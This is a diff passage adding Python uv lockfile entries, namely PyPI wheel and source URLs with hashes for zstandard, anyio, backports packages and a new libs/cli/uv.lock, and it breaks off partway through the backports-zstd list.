+    { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" },
+    { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" },
+    { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" },
+    { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" },
+    { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" },
+    { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" },
+    { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" },
+    { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" },
+    { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" },
+    { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" },
+    { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" },
+    { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" },
+    { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
+    { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
+    { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
+    { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
+    { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
+    { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
+    { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
+    { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
+]
diff --git a/libs/cli/uv.lock b/libs/cli/uv.lock
new file mode 100644
index 0000000..d8775a1
--- /dev/null
+++ b/libs/cli/uv.lock
@@ -0,0 +1,2797 @@
+version = 1
+revision = 3
+requires-python = ">=3.10"
+resolution-markers = [
+    "python_full_version >= '3.15'",
+    "python_full_version >= '3.11' and python_full_version < '3.15'",
+    "python_full_version < '3.11'",
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.13.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "exceptiongroup", marker = "python_full_version < '3.11'" },
+    { name = "idna" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" },
+]
+
+[[package]]
+name = "backports-asyncio-runner"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" },
+]
+
+[[package]]
+name = "backports-tarfile"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/86/72/cd9b395f25e290e633655a100af28cb253e4393396264a98bd5f5951d50f/backports_tarfile-1.2.0.tar.gz", hash = "sha256:d75e02c268746e1b8144c278978b6e98e85de6ad16f8e4b0844a154557eca991", size = 86406, upload-time = "2024-05-28T17:01:54.731Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b9/fa/123043af240e49752f1c4bd24da5053b6bd00cad78c2be53c0d1e8b975bc/backports.tarfile-1.2.0-py3-none-any.whl", hash = "sha256:77e284d754527b01fb1e6fa8a1afe577858ebe4e9dad8919e34c862cb399bc34", size = 30181, upload-time = "2024-05-28T17:01:53.112Z" },
+]
+
+[[package]]
+name = "backports-zstd"
+version = "1.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f4/b1/36a5182ce1d8ef9ef32bff69037bd28b389bbdb66338f8069e61da7028cb/backports_zstd-1.3.0.tar.gz", hash = "sha256:e8b2d68e2812f5c9970cabc5e21da8b409b5ed04e79b4585dbffa33e9b45ebe2", size = 997138, upload-time = "2025-12-29T17:28:06.143Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/76/70/766f6ebbb9db2ed75951f0a671ee15931dc69278c84d9f09b08dd6b67c3e/backports_zstd-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a2db17a6d9bf6b4dc223b3f6414aa9db6d1afe9de9bff61d582c2934ca456a0", size = 435664, upload-time = "2025-12-29T17:25:29.201Z" },
+    { url = "https://files.pythonhosted.org/packages/55/f8/7b3fad9c6ee5ff3bcd7c941586675007330197ff4a388f01c73198ecc8bb/backports_zstd-1.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7f16b98ba81780a9517ce6c493e1aea9b7d72de2b1efa08375136c270e1ecba", size = 362060, upload-time = "2025-12-29T17:25:30.94Z" },
+    { url = "https://files.pythonhosted.org/packages/68/9e/cad0f508ed7c3fbd07398f22b5bf25aa0523fcf56c84c3def642909e80ae/backports_zstd-1.3.0-cp310-cp310-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:1124a169a647671ccb4654a0ef1d0b42d6735c45ce3d0adf609df22fb1f099db", size = 505958, upload-time = "2025-12-29T17:25:32.694Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/dc/96dc55c043b0d86e53ae9608b496196936244c1ecf7e95cdf66d0dbc0f23/backports_zstd-1.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8410fda08b36202d01ab4503f6787c763898888cb1a48c19fce94711563d3ee3", size = 475571, upload-time = "2025-12-29T17:25:33.9Z" },
